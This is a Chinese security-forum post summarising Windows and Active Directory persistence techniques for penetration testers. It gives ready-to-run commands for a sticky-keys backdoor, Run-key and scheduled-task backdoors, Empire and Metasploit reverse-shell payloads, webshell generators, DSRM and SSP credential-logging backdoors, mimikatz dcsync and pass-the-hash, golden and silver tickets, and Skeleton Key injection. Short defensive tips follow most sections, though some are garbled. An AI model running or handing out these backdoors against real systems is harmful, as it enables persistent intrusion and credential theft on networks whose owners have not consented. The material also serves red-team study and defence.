问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
权限维持小结
渗透测试
分享者才是学习中最大的受益者!
前言 == 当攻击者拿下一台机器的权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。不想努力白费,就做好权限维持. 对防守方而言,如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除. Empire ====== 前言 -- Empire是基于Powershell脚本的攻击框架 主要实现对内网中提权、横向移动、权限维持 笔者发现这个工具权限维持很香 安装 -- <http://github.com/EmpireProject/Empire> linux系统需要有python2.7环境 ```php git clone https://github.com/EmpireProject/Empire.git sudo ./Empire/setup/install.sh sudo ./setup/reset.sh sudo ./Empire/empire ``` 推荐使用docker安装 ```php docker pull empireproject/empire docker run -it -p 7000:7000 --name empire empireproject/empire /bin/bash sudo ./setup/reset.sh sudo ./empire ``` 注:初始运行可能缺少pefile这个包 ```php pip install pefile ``` 继续 操作系统后门 ====== 粘滞键后门 ----- ### 手上 安全模式下 - 工作组的命令框 复制粘贴cmd.exe 然后就直接打开了 - 域用户的命令框 把cmd复制一份改成粘滞键的名字 进入到登录页面 就可以创建域用户 进入系统 用可执行文件`sethc.exe.bak`替换`windows\systdm32`目录下的sethc.exe ```php cd windows\system32 move sethc.exe sethc.exe.bak copy cmd.exe sethc.exe #连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令 ``` ### Empire 前提得是\*用户,过UAC,system权限才行 ```csharp usemodule lateral_movement/invoke_wmi_debugger info set Listener dayu set ComputerName user1.xiyou.dayu.com (计算机名) set TargetBinary sethc.exe execute ``` 执行完execute被攻击方电脑会一闪而过CMD终端窗口! 最后,在目标系统上连续按5次shift键触发后门: ### 粘滞键后门防范措施 1.在远程登录服务器时,连续按5次“"Shift”键,判断服务器是否被人侵。 2.拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项 注册表后门 ----- ### 手上 在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键 ```csharp \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ``` Run:该项下的键值即为开机启动项,每-次随着开机而启动 运行输入:regedit.exe ### Empire 输入`usemodule persistence/userland/registry`命令模块 运行后,会在目标主机的启动项里增加一个命令 ```csharp usemodule persistence/userland/registry set Listener dayu set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run execute ``` 当管理员登陆系统时,后门就会运行,反弹成功! 注销或者重启后,后门就自动运行了 进入桌面自动闪过cmd命令框 kali就上线了! ### 注册表后门防范措施 杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容, 采取相应的措施,即可删除此类后门 计划任务后门 ------ ### 手上 计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8版本开始的操作系 统中使用`schtasks`命令调用。 计划任务后门分为`管理员权限`和`普通用户权限`两种。管理员权限的后门 可以设置更多的计划任务,例如重启后运行等。 计划任务后门的基本命令如下。该命令表示每小时执行一次notepad.exe ```csharp schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1 ``` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8dab2129370a138d9d85c62fcc1c8e1fc596cd01.png) 删除话 这个命令就可以 ```csharp schtasks /Delete /tn Updater ``` ### MSF 使用Powershell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因 为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测 ```csharp use exploit/multi/script/web_delivery set target 2 set payload windows/meterpreter/reverse_tcp set lhost 192.168.253.9 set lport 443 set URIPATH / exploit ``` ### Empire 设置DailyTime和Listener参数,到了设置的时间,将执行sec计划,将返回一个高权限的shell: ```csharp usemodule persistence/elevated/schtasks set DailyTime 15:36 set Listener dayu execute ``` ### 计划任务后门防范措施 有效的防范措施是: - 安装安全防护软件并对系统进行扫描 - 及时为系统打补丁 - 在内网中使用强度较高的密码 MSF后门 ----- - 生成exe的马儿 ```csharp msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.9 LPORT=4444 -f exe>1.exe ``` - 开启监听 ```csharp msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_ tcp; set lhost 192.168.253.27; set lport 4444; exploit -j;" ``` - 执行后门上线 - 查看帮助 ```csharp run persistence -h ``` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-50479f04fa93b61d7754dcf372c19b1a3d28c362.png) - 创建服务 ```csharp run persistence -S -U -X -i 5 -p 443 -r IP ``` 这里要注意的是 使用了-S 这个参数 需要(system)权限才能执行创建 不管关机 重启后都可以上线 wmi型后门 ------ 在 Empire 下使用Invoke-WMI 模块: 先进行搜索 ```csharp searchmodule wmi ``` 是有多个模块的 ```csharp usemodule persistence/elevated/wmi info set DailyTime 16:10 set Listener dayu run ``` 检测后门 ---- 在powershell下 ```csharp Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILTER "Name='Updater'" ``` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6b6189d08d6511c6175d393e060e034aa3a8ca52.png) 这样就是没有的 清除WMI后门得到方法 ----------- 删除自动运行列表中的恶意WMI条目 在powershell中用`get-wmiobject`命令删除与WMI持久化的组件 web后门 ===== weevely后门 --------- ### 功能 ```csharp 1.执行命令和测览远程文件 2.检测常见的服务器配置问题 3.创建 TCP Shell 和 Reverse Shell 4.打扫描端口 5.安装HTTP代理 ``` ### 使用 weevely <url> <password> \[cmd\] #连接一句话 weevely session <path> cmd #加载会话文件 weevely generate <password> <path> # 生成后门代理,一般用这个 webacco后门 --------- - 安装 ```csharp apt install webacoo ``` - 生成shell ```csharp webacoo -g -o 123.php ``` - 连接后门 webacoo -t -u <http://192.168.x.x/123.php> 域控制器权限持久化 ========= DSRM域后门 ------- DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户) DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在 域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutiI命令行工具。 在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。 - 如果域控制器的系统版本为Windows Server 2008,需要安装`KB961320`才可以使用指定域账号的密码对DSRM的密码进行同步。 - 在 Windows Server 2008以后版本的系统中不需要安装此补丁。 - 如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作 我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)DSRM账号可以 作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。 **简单来讲 就是当初创建域的时候:键入目录还原的(DSRM)密码** ### 修改DSRM密码 ### 第一种 在域控制器上打开命令行环境 ```php 1. NTDSUTIL: 登录ntdsutil 2. set dsrm password #设置DSRM密码 3. reset password on server null #在当前域控服务器上恢复DSRM密码 4. <PASSWORD> # 修改后的密码 5. q # 退出密码设置模式 6. q # 退出NTDSUTIL模式 ``` 修改成功 用ipc登录尝试 这里是登录不上的 因为域控默认是禁用DSRM的 ### 第二种 简单来讲 就是用krbtgt用户的NTLM hash覆盖administrator用户的NTLM hash ```csharp ntdsutil set dsrm password sync from domain account krbtgt q q ``` 可以进行查看是否成功 ```php lsadump::sam lsadump::lsa /patch /name:krbtgt ``` ### DSRM的三种登录方式 - 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。 - 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。 - 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。 如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2 powershell下执行 ```csharp New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlog onbehavior" -value 2 -propertyType DWORD ``` ### 使用DSRM账号通过网络远程登录域控制器 使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz: ```csharp mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xxx /ntlm:xxx ``` ### 使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash 哈希传递攻击完成后 弹出命令窗口 在该窗口下打开mimikatz ```csharp lsadump::dcsync /domain:xiyou.dayu.com /dc:dc /user:krbtgt ``` ### DSRM域后门防御措施 - 定期检查注册表中用于控制DSRM登录方式的键值`hklm:\system\currentcontrolset\control\lsa\`确认该键值为1,或者删除该键值 - 定期修改城中所有城控制器的DSRM账号。 - 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。 SSP维持域控权限 --------- ### 利用mimikatz 注入 使用mimikatz将伪造的SSP注入内存。这样做不会在系统中留下二进制文件 但如果域控制器重启,被注入内存的伪造的SSP将会丢失。 在实际网络维护中,可以针对这一点采取相 应的防御措施。 在域控制器中以管理员权限打开mimikatz,分别输入如下命令: ```csharp privilege::debug misc::memssp ``` 注销一下 密码存储在日志文件 `C:\Windows\System32\mimilsa.log` 中 ### 利用mimikatz下的`mimicom.idl`文件(现在被查杀) 将它复制到System32文件目录下 并将 mimilib添加到注册表中就可以了修改`HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages`项,加载新的DLL文件! 就是powershell下的两条命令 ```csharp reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ ``` 覆盖掉就可以了 重启一下 系统重启后,如果DLL被成功加载,用户在登录时输入的账户密码明文就会被记录在 `C:\windows\system32\kiwissp.log` 中 ### 防御措施 SSP维持域控制器权限的防御措施 1.检查 HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的 DLL 文件。 2.检查C:WindowsSystem32\\目录下是否有可疑的DLL文件。 3.使用第三方工具检查LSA中是否有可疑的DLL文件。 SID History后门 ------------- 就是黄金和白银票据 操作就不再阐述了,写一写底层 ### 黄金票据 #### 原理 在Kerberos认证中,当客户端通过AS认证后,AS会给客户端一个TGT,kbrtgt的NTLM hash的又是固定的 因此可以得到krbtgt用户的NTLM hash,就可以伪造TGT进行下一步客户端与TGS的交互 而且有了金票后 就跳过了AS验证,不用验证账号和密码,因此不用担心域管理员修改密码 #### 特点 ```php 不需要与AS进行交互 需要krbtgt用户的NTLM hash ``` #### 条件 ```php 1.域名称 2.域的SID值 3.域的KRBTGT账户的NTLM-Hash 4.伪造任意用户名 ``` ### 白银票据 #### 原理 在Kerberos认证中,Client带着TGS票据向Server上的某个服务发起请求后 Server接受到Client请求后,通过自己的NTLM hash进行解密,如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。 所以我们只需要知道Server用户的Hash就可以伪造出一个TGS票据,且不会经过KDC,但是伪造的门票只对部分服务起作用 #### 特点 ```php 1.不需要与KDC进行交互 2.需要server的NTLM hash ``` ### 金票和银票的区别 ![1616989327838](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-936c72d92bcfb595062a0599a4391c8a9814ec06.png) ### 服务列表 ![image-20210820223128203](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7278ae8e3c948066ebf34de58096e52ae06753d2.png) ### 白银票据默认组 ![1616989395206](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4f43f2c07846f73977235ddee09281d5036c7504.png) ### SID History后门优势 ```csharp SID History域后门的防御措施 1.可以通过注入SID History属性完成持久化任务。 2.拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。 3.如果不再需要通过SID History属性实现持久化,可以使用sid::clear /sam:username清除SID Hi story的属性。 ``` ### SID History后门防范措施 - 经常查看域用户中SID为500的用户。 - 完成域迁移工作后,对有相同SID History属性的用户进定期3.定期检查ID为4765和4766的日志。4765 为将SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。 Skeleton Key ------------ ### 手工 就是万能密码 在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的Isass.exe进程 ```csharp privilege::debug misc::skeleton ``` 注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。 接下来可以 在域内任意用户的身份,配合该SkeletonKey,进行域内身份验证授权了 使用计算机全名是可以登录的 ```csharp net use \\xiyou.xiyou.dayu.com\ipc$ "mimikatz" /user:xiyou.dayu.com\administrator ``` ### Empire ```csharp interact KFSV7YB1 # 进入agent usemodule persistence/misc/skeleton_key execute ``` 将skeleton\_key注入后,empire提示可以通过mimikatz进入系统 ### Skeleton Key防范措施 2014年,微软在Window s操作系统中增加了 LSA保护策略,以防止Isass.cx e进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。 ```php 通用的Skeleton Key的防御措施列举如下: 1.域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。 2.在所有城用户中启用双因子认证,例如智能卡认证。 3.启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。 4.在日常网络维护中注意以下方面,也可以有效防范Skeleton Key 5.只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Wind ows Sever 2008 R2、 WindowServer 2003 R2、 Windows Server 2003。 6.只有具有城管理员权限的用户可以将SleloKe。注人城控制器的lass cxe进程。 7.Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。 8.因为Seleton Key是被注入lsass.exeex e进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效 ``` 总结 == 权限维持很重要! 我们进去的每一个点,都很不容易. 每当我们多一台受控机器,就可能会多一个攻击维度!
发表于 2021-08-31 19:05:25
阅读 ( 8122 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!